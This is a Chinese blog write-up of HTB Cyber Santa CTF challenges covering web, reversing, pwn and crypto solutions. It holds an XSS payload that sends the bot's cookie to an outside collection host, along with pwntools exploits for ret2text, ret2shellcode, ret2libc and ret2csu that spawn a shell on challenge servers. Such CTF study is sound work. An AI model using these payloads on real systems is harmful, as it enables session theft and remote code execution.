ch3cke的小站

长夜将至,我从今日起开始守望

0%

HTB_Cyber_Santa

HTB-Cyber Santa

image

文件链接:链接:https://pan.baidu.com/s/1XaA6j3LO0Pcp2pRfc8FyPg
提取码:jd48

image-20220102204421845

WEB

Toy Workshop

题目源码:

核心源码:

bot.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const puppeteer = require('puppeteer');

const browser_options = {
headless: true,
args: [
'--no-sandbox',
'--disable-background-networking',
'--disable-default-apps',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update',
'--js-flags=--noexpose_wasm,--jitless'
]
};

const cookies = [{
'name': 'flag',
'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}'
}];


const readQueries = async (db) => {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
await page.goto('http://127.0.0.1:1337/');
await page.setCookie(...cookies);
await page.goto('http://127.0.0.1:1337/queries', {
waitUntil: 'networkidle2'
});
await browser.close();
await db.migrate();
};

module.exports = { readQueries };

router/index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const express        = require('express');
const router = express.Router();
const bot = require('../bot');

let db;

const response = data => ({ message: data });

router.get('/', (req, res) => {
return res.render('index');
});

router.post('/api/submit', async (req, res) => {

const { query } = req.body;
if(query){
return db.addQuery(query)
.then(() => {
bot.readQueries(db);
res.send(response('Your message is delivered successfully!'));
});
}
return res.status(403).send(response('Please write your query first!'));
});

router.get('/queries', async (req, res, next) => {
if(req.ip != '127.0.0.1') return res.redirect('/');

return db.getQueries()
.then(queries => {
res.render('queries', { queries });
})
.catch(() => res.status(500).send(response('Something went wrong!')));
});

module.exports = database => {
db = database;
return router;
};

XSS漏洞,利用在线的xss平台,直接打。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import json

url = "http://68.183.40.128:30700/api/submit"

payload = json.dumps({
"query": "</p><script>document.location='http://xsshs.cn/mjI1/xss.jpg?cookie='+document.cookie;</script><p>"
})
headers = {
'Proxy-Connection': 'keep-alive',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36',
'Content-Type': 'application/json',
'Accept': '*/*',
'Origin': 'http://68.183.40.128:30700',
'Referer': 'http://68.183.40.128:30700/',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,ko;q=0.7',
'x-forwarded-for': '127.0.0.1',
'x-originating-ip': '127.0.0.1',
'x-remote-ip': '127.0.0.1',
'x-remote-addr': '127.0.0.1'
}

proxies = {
"http": "127.0.0.1:10809",
}

response = requests.request("POST", url, headers=headers, data=payload, proxies=proxies)

print(response.text)
# HTB{3v1l_3lv3s_4r3_r1s1ng_up!}

攻击结果:

image


Toy Management

初步认定为jwt问题


REV

Infiltration

动态调试即可

flag:HTB{n0t_qu1t3_s0_0p4qu3}


Gift Wrapping

upx 加壳,可以直接脱壳

image

加密逻辑:

image

image

HTB{upx_41nt_50_h4rd!!}


Intercept

两个文件,一个是加密的流量和一个加密的脚本。asm加密脚本:

intercept.asm

Text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
	.text
.globl state
.bss
.type state, @object
.size state, 1
state:
.zero 1
.text
.globl do_encrypt
.type do_encrypt, @function
do_encrypt:
push rbp
mov rbp, rsp
mov eax, edi
mov BYTE PTR [rbp-4], al
movzx eax, BYTE PTR state[rip]
add eax, 19
xor BYTE PTR [rbp-4], al
movzx eax, BYTE PTR state[rip]
add eax, 55
mov BYTE PTR state[rip], al
movzx eax, BYTE PTR [rbp-4]
pop rbp
ret

加密流量为:

image

逆向汇编代码,可得加密代码:

1
2
3
4
5
6
7
8
def dec(enc):
a = 0
for i in enc:
print(chr(i^(19+a)&0xff), end='')
a = (a+55)&0xff

if __name__ == '__main__':
dec(bytes.fromhex('5b2fedd4801914e7eb765119d4fe6223f1d1984638a9816b5419dac07b27eed9d35e09fdef65521ac5877a24eed19b0c0ae9f16d4c02cc86773bfaa8924a2ae9a12a2f1dd7923d39eea78d5909f9f57b2a16ddc87d33ada58f1208d4f737755283da1168a3e6cc075e8ce920774ef88d483fb1bb8a440884af7d69e2c5874b3bb3be695d4fd5a97b27e7d7d0572cf0bf665405dbfe4225e19b824813e4b96a4e178a95776fe1d8800b0bf7f0705719c0c37834a8f7a26f1febbe3d7119dad66427d5f58b4259eabc3f3626ded46621d3b0ca441afce552274bd6da1f2a'))
1
Hello?Is this working?Looks like the connection is establishedOur next meeting will be at at 90.0000, 135.0000Make sure to bring the stolen presents!The password to get in will be HTB{pl41nt3xt_4sm?wh4t_n3xt_s0urc3_c0d3?}

Upgraded

openssl库实现的AES_256加密,提取iv和key解密即可:

aes.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
// Created by ch3cke on 2021/12/5.
#include <stdlib.h>
#include <stdio.h>
#include "algo_aes.h"
#include "openssl/evp.h"

void handleErrors(void)
{
// ERR_print_errors_fp(stderr);
abort();
}

int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
unsigned char *iv, unsigned char *ciphertext)
{
EVP_CIPHER_CTX *ctx;

int len;

int ciphertext_len;

/* Create and initialise the context */
if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();

/* Initialise the encryption operation. IMPORTANT - ensure you use a key
* and IV size appropriate for your cipher
* In this example we are using 256 bit AES (i.e. a 256 bit key). The
* IV size for *most* modes is the same as the block size. For AES this
* is 128 bits */
if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
handleErrors();

/* Provide the message to be encrypted, and obtain the encrypted output.
* EVP_EncryptUpdate can be called multiple times if necessary
*/
if(1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len))
handleErrors();
ciphertext_len = len;

/* Finalise the encryption. Further ciphertext bytes may be written at
* this stage.
*/
if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len)) handleErrors();
ciphertext_len += len;

/* Clean up */
EVP_CIPHER_CTX_free(ctx);

return ciphertext_len;
}

int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
unsigned char *iv, unsigned char *plaintext)
{
EVP_CIPHER_CTX *ctx;

int len;

int plaintext_len;

/* Create and initialise the context */
if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();

/* Initialise the decryption operation. IMPORTANT - ensure you use a key
* and IV size appropriate for your cipher
* In this example we are using 256 bit AES (i.e. a 256 bit key). The
* IV size for *most* modes is the same as the block size. For AES this
* is 128 bits */
if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv))
handleErrors();

/* Provide the message to be decrypted, and obtain the plaintext output.
* EVP_DecryptUpdate can be called multiple times if necessary
*/
if(1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
handleErrors();
plaintext_len = len;

/* Finalise the decryption. Further plaintext bytes may be written at
* this stage.
*/
if(1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len)) handleErrors();
plaintext_len += len;

/* Clean up */
EVP_CIPHER_CTX_free(ctx);

return plaintext_len;
}

exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include "algo_aes.h"
#include <stdio.h>
#include <string.h>
int main(){
int decryptedtext_len, ciphertext_len;
unsigned char key[76] = {
0x99, 0x82, 0x56, 0x34, 0xC4, 0xA9, 0x6C, 0x53, 0x4F, 0xF6, 0x78, 0x93, 0x4D, 0x9C, 0x2A, 0xD7,
0xDE, 0x2E, 0x9B, 0xFB, 0x1B, 0xC3, 0x9C, 0x00, 0xBC, 0xF9, 0x2D, 0x65, 0x82, 0x2E, 0xE4, 0x45,
0x4F, 0x37, 0xFE, 0x8B, 0x2E, 0x0C, 0x69, 0xAB, 0xFE, 0x11, 0x3B, 0xA7, 0x52, 0x8D, 0xC7, 0xE8,
0x8E, 0xCA, 0x91, 0x65, 0xC0, 0xA1, 0x3E, 0x30, 0x77, 0x4F, 0x43, 0xD1, 0xCB, 0xFB, 0x78, 0xF3,
0x98, 0x6A, 0xAE, 0x4D, 0xD2, 0x66, 0x80, 0x49, 0x35, 0xBC, 0xD3, 0xDC
};
unsigned char iv[40] = {
0x6B, 0xD5, 0x52, 0x77, 0x6F, 0x06, 0x81, 0xF3, 0x95, 0xB3, 0x04, 0xFD, 0xE5, 0x84, 0x23, 0xFE,
0xFF, 0x03, 0xF2, 0x9E, 0x49, 0x87, 0xE5, 0x7C, 0x33, 0xA2, 0x3B, 0x52, 0xA3, 0xDF, 0x62, 0xA8,
0xC0, 0x47, 0x9C, 0xA9, 0xB6, 0x2F, 0x53, 0x8B
};
unsigned char *plaintext =
"The quick brown fox jumps over the lazy dog1234";
unsigned char decryptedtext[48];
unsigned char ciphertext[48]= {0xff , 0x25 , 0xb1 , 0xd7 , 0xad , 0xe8 , 0xcd , 0x36 , 0xbd , 0x7d , 0x09 , 0xa6 , 0x1f , 0xf9 , 0xc1 , 0xc1 , 0xad , 0x38 , 0xce , 0x29 , 0x3d , 0x84 , 0xcb , 0xe5 , 0x83 , 0x9f , 0xb6 , 0x61 , 0xbe , 0xb7 , 0xea , 0x4f , 0x76 , 0x5d , 0x2d , 0xc4 , 0x4e , 0x2d , 0xa6 , 0x70 , 0xdc , 0x04 , 0xe3 , 0xe6 , 0xbb , 0xc1 , 0x85 , 0x21};

// ciphertext_len = encrypt(plaintext, strlen(plaintext), key, iv,
// ciphertext);
ciphertext_len=48;
printf("Ciphertext is %d bytes long:\n", ciphertext_len);
decryptedtext_len = decrypt(ciphertext, ciphertext_len, key, iv,
decryptedtext);
decryptedtext[decryptedtext_len] = '\0';

/* Show the decrypted text */
printf("Decrypted text is:\n");
printf("%s~\n", decryptedtext);


return 0;
}
// HTB{h4rdc0d1ng_k3ys?r00k13_m15t4k3!}~

image

Bamboozled


PWN

Mr Snowy

简单栈溢出,使用ret2text,函数溢出点在investigate函数:

image

存在一个读取flag.txt 文件的函数:

image

直接控制返回值为这个函数即可。

测试溢出长度:

image

长度为72

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
# context.log_level = 'debug'

# 0x401165 为读取文件函数
payload = b'a'*72+p64(0x401165)
REMOTE = True

if REMOTE:
# pass
p = remote('188.166.174.81',32009)
else:
p = process('./mr_snowy')

p.recvuntil('> ')
p.sendline('1')
p.recvuntil('> ')
p.sendline(payload)
p.interactive()

image

flag: HTB{n1c3_try_3lv35_but_n0t_g00d_3n0ugh}


Sleigh

溢出点:

image

程序是一个简单的ret2shellcode的程序,程序员会给出一个栈地址,该地址是可执行的:

image

image

可以看到写入信息的地址是可以执行的,直接使用ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

REMOTE = True

if REMOTE:
p = remote('46.101.39.71',31766)
else:
p = process('./sleigh')


p.recvuntil('> ')
p.sendline('1')
p.recvuntil('sleigh: [')
addr = int(p.recvuntil(']')[:-1], 16)
p.recvuntil('> ')
log.info(hex(addr))
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload = shellcode + (72-len(shellcode))*b'\x90'
payload += p64(addr)
p.sendline(payload)
p.interactive()

image

flag: HTB{d4sh1nG_thr0ugH_th3_sn0w_1n_4_0n3_h0r53_0p3n_sl31gh!!!}


Naughty_list

栈溢出程序,漏洞点:

image

提供libc和程序,题目环境为ubuntu18.04,注意栈对齐:

image

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
filename = './naughty_list'
REMOTE = True
e = ELF(filename)
libc = ELF('./libc.so.6')

if REMOTE:
# pass
p = remote('134.209.186.58',30928)
else:
p = process(filename)

get_descr = 0x4013AF
put_got = e.plt['puts']
read_plt = e.got['read']
pop_rdi = 0x0000000000401443
ret_addr = 0x0000000000400756

# gdb.attach(p)
padding = b'a'*40
payload1 = padding + p64(pop_rdi)+p64(read_plt)+p64(put_got)+p64(get_descr)

p.recv(0x889)
p.sendline('ck')
pause()
p.recv(0x13c)
p.sendline('ck')
pause()
p.recv(0xec)
p.sendline('100')
p.recv(0x3b8)
p.sendline(payload1)
pause()
p.recvuntil('!\n')
addr = u64(p.recv(7)[:-1]+b'\x00\x00')
log.info(hex(addr))
libc_base = addr-libc.sym['read']
log.info(hex(libc_base))
system_addr = 0x4F550+libc_base
bin_sh_str = libc_base + 0x1B3E1A
pause()
payload2 = padding + p64(ret_addr)+p64(pop_rdi)+p64(bin_sh_str)+p64(system_addr)+p64(0) //注意对齐
p.recv(0x355)
pause()
p.sendline('ck')
pause()
p.recv(0x13c)
p.sendline('ck')
pause()
p.recv(0xec)
p.sendline('100')
p.recv(0x3b8)
p.sendline(payload2)
p.interactive()

image

flag: HTB{u_w1ll_b3_n4ughtyf13d_1f_u_4r3_g3tt1ng_4_g1ft}


Minimelfistic

程序存在栈溢出,在泄露libc地址的时候,调用sleep 函数,会把程序的rdx 置为0,使用rop调用write函数无法输出内容。因此使用ret2csu泄露libc:ret2libc

漏洞点:

image

csu:

image

csu利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
log.success("csu_end_addr => {}".format(hex(csu_end_addr)))
log.success("csu_front_addr => {}".format(hex(csu_front_addr)))
log.success("write_got => {}".format(hex(write_got)))
log.success("read_got => {}".format(hex(read_got)))
log.success("main_addr => {}".format(hex(main_addr)))
log.success("bss_base => {}".format(hex(bss_base)))

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'A' * 0x38
payload += p64(last)
return payload

利用exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
filename = './minimelfistic'
REMOTE = True
elf = ELF(filename)

if REMOTE:
# pass
p = remote('188.166.174.81',31482)
else:
p = process(filename)

# gdb.attach(p)

# main_addr = 0x4008D9
# write_plt = e.plt['write']
# write_got = e.got['write']
pop_rdi = 0x0000000000400a43
# pop_rsi_r15 = 0x0000000000400a41
ret_addr = 0x0000000000400616

write_got = elf.got['write']
read_got = elf.got['read']
main_addr = 0x4008D9
bss_base = elf.bss()
csu_end_addr= 0x400A3A
csu_front_addr = 0x400A20

log.success("csu_end_addr => {}".format(hex(csu_end_addr)))
log.success("csu_front_addr => {}".format(hex(csu_front_addr)))
log.success("write_got => {}".format(hex(write_got)))
log.success("read_got => {}".format(hex(read_got)))
log.success("main_addr => {}".format(hex(main_addr)))
log.success("bss_base => {}".format(hex(bss_base)))

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'A' * 0x38
payload += p64(last)
return payload

padding = b'9'*72
payload1 = padding + csu(0, 1, write_got, 1, write_got, 8, main_addr)

p.recvuntil('> ')
p.sendline(payload1)
p.recvuntil('d!\n')
addr = u64(p.recv(8))
log.success("write_got => {}".format(hex(addr)))
libc_base = addr-0x110210
log.success("libc_base => {}".format(hex(libc_base)))
system_addr = libc_base + 0x4F550
bin_str = libc_base + 0x1B3E1A

# payload2 = padding + csu(0, 1, read_got, 0, bss_base, 0x100, main_addr)
# log.success("sending payload2 --->")
# p.sendline(payload2)
# log.success("sending payload3 --->")
# payload3 = b'/bin/shx00'
# payload3 += p64(system_addr)
# p.sendline(payload3)
# log.success("sending payload4 --->")
# payload3 = padding + csu(0, 1, bss_base+8, bss_base, 0, 0, main_addr)
# p.sendline(payload3)
# p.interactive()

payload2 = padding + p64(ret_addr)+p64(pop_rdi)+p64(bin_str)+p64(system_addr)+p64(0)
p.recvuntil('> ')
p.sendline(payload2)
p.interactive()

image

flag:HTB{S4nt4_15_n0w_r34dy_t0_g1v3_s0m3_g1ft5}

Music Notes


Crypt

Common Mistake

共模攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from libnum import n2s,s2n
from gmpy2 import invert
# 欧几里得算法
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
# {'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 'e': '0x10001', 'ct': '0x55cfe232610aa54dffcfb346117f0a38c77a33a2c67addf7a0368c93ec5c3e1baec9d3fe35a123960edc2cbdc238f332507b044d5dee1110f49311efc55a2efd3cf041bfb27130c2266e8dc61e5b99f275665823f584bc6139be4c153cdcf153bf4247fb3f57283a53e8733f982d790a74e99a5b10429012bc865296f0d4f408f65ee02cf41879543460ffc79e84615cc2515ce9ba20fe5992b427e0bbec6681911a9e6c6bbc3ca36c9eb8923ef333fb7e02e82c7bfb65b80710d78372a55432a1442d75cad5b562209bed4f85245f0157a09ce10718bbcef2b294dffb3f00a5a804ed7ba4fb680eea86e366e4f0b0a6d804e61a3b9d57afb92ecb147a769874'}
# {'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 'e': '0x23', 'ct': '0x79834ce329453d3c4af06789e9dd654e43c16a85d8ba0dfa443aefe1ab4912a12a43b44f58f0b617662a459915e0c92a2429868a6b1d7aaaba500254c7eceba0a2df7144863f1889fab44122c9f355b74e3f357d17f0e693f261c0b9cefd07ca3d1b36563a8a8c985e211f9954ce07d4f75db40ce96feb6c91211a9ff9c0a21cad6c5090acf48bfd88042ad3c243850ad3afd6c33dd343c793c0fa2f98b4eabea399409c1966013a884368fc92310ebcb3be81d3702b936e7e883eeb94c2ebb0f9e5e6d3978c1f1f9c5a10e23a9d3252daac87f9bb748c961d3d361cc7dacb9da38ab8f2a1595d7a2eba5dce5abee659ad91a15b553d6e32d8118d1123859208'}
def main():
n = 0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef
c1 = 0x55cfe232610aa54dffcfb346117f0a38c77a33a2c67addf7a0368c93ec5c3e1baec9d3fe35a123960edc2cbdc238f332507b044d5dee1110f49311efc55a2efd3cf041bfb27130c2266e8dc61e5b99f275665823f584bc6139be4c153cdcf153bf4247fb3f57283a53e8733f982d790a74e99a5b10429012bc865296f0d4f408f65ee02cf41879543460ffc79e84615cc2515ce9ba20fe5992b427e0bbec6681911a9e6c6bbc3ca36c9eb8923ef333fb7e02e82c7bfb65b80710d78372a55432a1442d75cad5b562209bed4f85245f0157a09ce10718bbcef2b294dffb3f00a5a804ed7ba4fb680eea86e366e4f0b0a6d804e61a3b9d57afb92ecb147a769874
c2 = 0x79834ce329453d3c4af06789e9dd654e43c16a85d8ba0dfa443aefe1ab4912a12a43b44f58f0b617662a459915e0c92a2429868a6b1d7aaaba500254c7eceba0a2df7144863f1889fab44122c9f355b74e3f357d17f0e693f261c0b9cefd07ca3d1b36563a8a8c985e211f9954ce07d4f75db40ce96feb6c91211a9ff9c0a21cad6c5090acf48bfd88042ad3c243850ad3afd6c33dd343c793c0fa2f98b4eabea399409c1966013a884368fc92310ebcb3be81d3702b936e7e883eeb94c2ebb0f9e5e6d3978c1f1f9c5a10e23a9d3252daac87f9bb748c961d3d361cc7dacb9da38ab8f2a1595d7a2eba5dce5abee659ad91a15b553d6e32d8118d1123859208
e1 = 0x10001
e2 = 0x23
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
# 求模反元素
if s1<0:
s1 = - s1
c1 = invert(c1, n)
elif s2<0:
s2 = - s2
c2 = invert(c2, n)

m = pow(c1,s1,n)*pow(c2,s2,n) % n
print((m))

if __name__ == '__main__':
main()

XMAS Spirit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
with open('./encrypted.bin', 'rb+') as f:
enc = f.read()
# for i in enc:
# print(i)
table = {
160 : 0,73 : 1,242 : 2,155 : 3,68 : 4,237 : 5,150 : 6,63 : 7,232 : 8,145 : 9,58 : 10,227 : 11,140 : 12,53 : 13,222 : 14,135 : 15,48 : 16,217 : 17,130 : 18,43 : 19,212 : 20,125 : 21,38 : 22,207 : 23,120 : 24,33 : 25,202 : 26,115 : 27,28 : 28,197 : 29,110 : 30,23 : 31,192 : 32,105 : 33,18 : 34,187 : 35,100 : 36,13 : 37,182 : 38,95 : 39,8 : 40,177 : 41,90 : 42,3 : 43,172 : 44,85 : 45,254 : 46,167 : 47,80 : 48,249 : 49,162 : 50,75 : 51,244 : 52,157 : 53,70 : 54,239 : 55,152 : 56,65 : 57,234 : 58,147 : 59,60 : 60,229 : 61,142 : 62,55 : 63,224 : 64,137 : 65,50 : 66,219 : 67,132 : 68,45 : 69,214 : 70,127 : 71,40 : 72,209 : 73,122 : 74,35 : 75,204 : 76,117 : 77,30 : 78,199 : 79,112 : 80,25 : 81,194 : 82,107 : 83,20 : 84,189 : 85,102 : 86,15 : 87,184 : 88,97 : 89,10 : 90,179 : 91,92 : 92,5 : 93,174 : 94,87 : 95,0 : 96,169 : 97,82 : 98,251 : 99,164 : 100,77 : 101,246 : 102,159 : 103,72 : 104,241 : 105,154 : 106,67 : 107,236 : 108,149 : 109,62 : 110,231 : 111,144 : 112,57 : 113,226 : 114,139 : 115,52 : 116,221 : 117,134 : 118,47 : 119,216 : 120,129 : 121,42 : 122,211 : 123,124 : 124,37 : 125,206 : 126,119 : 127,32 : 128,201 : 129,114 : 130,27 : 131,196 : 132,109 : 133,22 : 134,191 : 135,104 : 136,17 : 137,186 : 138,99 : 139,12 : 140,181 : 141,94 : 142,7 : 143,176 : 144,89 : 145,2 : 146,171 : 147,84 : 148,253 : 149,166 : 150,79 : 151,248 : 152,161 : 153,74 : 154,243 : 155,156 : 156,69 : 157,238 : 158,151 : 159,64 : 160,233 : 161,146 : 162,59 : 163,228 : 164,141 : 165,54 : 166,223 : 167,136 : 168,49 : 169,218 : 170,131 : 171,44 : 172,213 : 173,126 : 174,39 : 175,208 : 176,121 : 177,34 : 178,203 : 179,116 : 180,29 : 181,198 : 182,111 : 183,24 : 184,193 : 185,106 : 186,19 : 187,188 : 188,101 : 189,14 : 190,183 : 191,96 : 192,9 : 193,178 : 194,91 : 195,4 : 196,173 : 197,86 : 198,255 : 199,168 : 200,81 : 201,250 : 202,163 : 203,76 : 204,245 : 205,158 : 206,71 : 207,240 : 208,153 : 209,66 : 210,235 : 211,148 : 212,61 : 213,230 : 214,143 : 215,56 : 216,225 : 217,138 : 218,51 : 219,220 : 220,133 : 221,46 : 222,215 : 223,128 : 224,41 : 225,210 : 226,123 : 227,36 : 228,205 : 229,118 : 230,31 : 231,200 : 232,113 : 233,26 : 234,195 : 235,108 : 236,21 : 237,190 : 238,103 : 239,16 : 240,185 : 241,98 : 242,11 : 243,180 : 244,93 : 245,6 : 246,175 : 247,88 : 248,1 : 249,170 : 250,83 : 251,252 : 252,165 : 253,78 : 254,247 : 255}
# print("{")
# for i in range(256):
# print((169*i+160)%256,":", i, end='')
# print(',', end='')
# print("}")

plain = b''
for i in enc:
plain += bytes([table[i]])

with open('flag.pdf','wb+') as f:
f.write(plain)
print("succesas")

meet me halfway

题目是可以类似一个double AES加密,可以使用中间相遇攻击:

原理是加密密钥空间是可以穷尽的,因此可以加密和解密的密文和解密的密文中间相遇来破解密文。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
enc = '945e46f641e89b5ee6f15347fa3d9a5e'
dt = json.loads(input().strip())
pt = bytes.fromhex(dt['pt'])
enc = 'e1bd399e40ca60f25c65c2c0cc78e5f5'

def my_enc(data, key):
cipher = AES.new(key, mode=AES.MODE_ECB)
ct = cipher.encrypt(pad(data, 16))
return ct.hex()
#
def my_dec(data, key):
cipher = AES.new(key, mode=AES.MODE_ECB)
ct = cipher.decrypt(data)
return ct.hex()
aa = []
ff = my_dec(bytes.fromhex(enc), b'a4a7cyb3rXm45!@#')
for a in alphabet:
for b in alphabet:
for c in alphabet:
for d in alphabet:
# tmp = b''
tmp = (chr(a)+chr(b)+chr(c)+chr(d))
tmp = bytes(tmp, encoding = "utf8")
key1 = const+tmp
if (my_enc(b'22', key1))==ff:
print(key1)

for a in alphabet:
for b in alphabet:
for c in alphabet:
for d in alphabet:
# tmp = b''
tmp = (chr(a)+chr(b)+chr(c)+chr(d))
tmp = bytes(tmp, encoding = "utf8")
key2 = tmp+const
dd = my_dec(bytes.fromhex(enc), key2)
if dd in aa:
print(key2)
from Crypto.Cipher import AES
from Crypto.Util.number import *
key1=b'cyb3rXm45!@#de99'
key2 = b'a4a7cyb3rXm45!@#'

def decrypt(data, key1, key2):
cipher = AES.new(key2, mode=AES.MODE_ECB)
ct = cipher.decrypt(data)
cipher = AES.new(key1, mode=AES.MODE_ECB)
ct = cipher.decrypt(ct)
return ct.hex()

enc = bytes.fromhex('44f69714caa68aeb2885e5f131c04fd24c403824198fdd7031c3a8fa7e5acc554c9dc83abbdf34ba405ddc4004c6709bb310694ac6c244d7973292d96af8f6ab8809603906420e3565b43e5b71be95994ba100ed9a00491e5c293a9cd4e618bb')
print(bytes.fromhex(decrypt(enc, key1, key2)))

flag: HTB{m337_m3_1n_7h3_m1ddl3_0f_3ncryp710n}


Missing Reindeer

使用文本编辑器打开文件eml文件,得到key文件和加密base64加密后的密文:

image

邮件提取public.der, 用openssl解析得到:

openssl rsa -pubin -text -modulus -in public.der

image

低指数攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2
import base64
from Crypto.Util.number import *
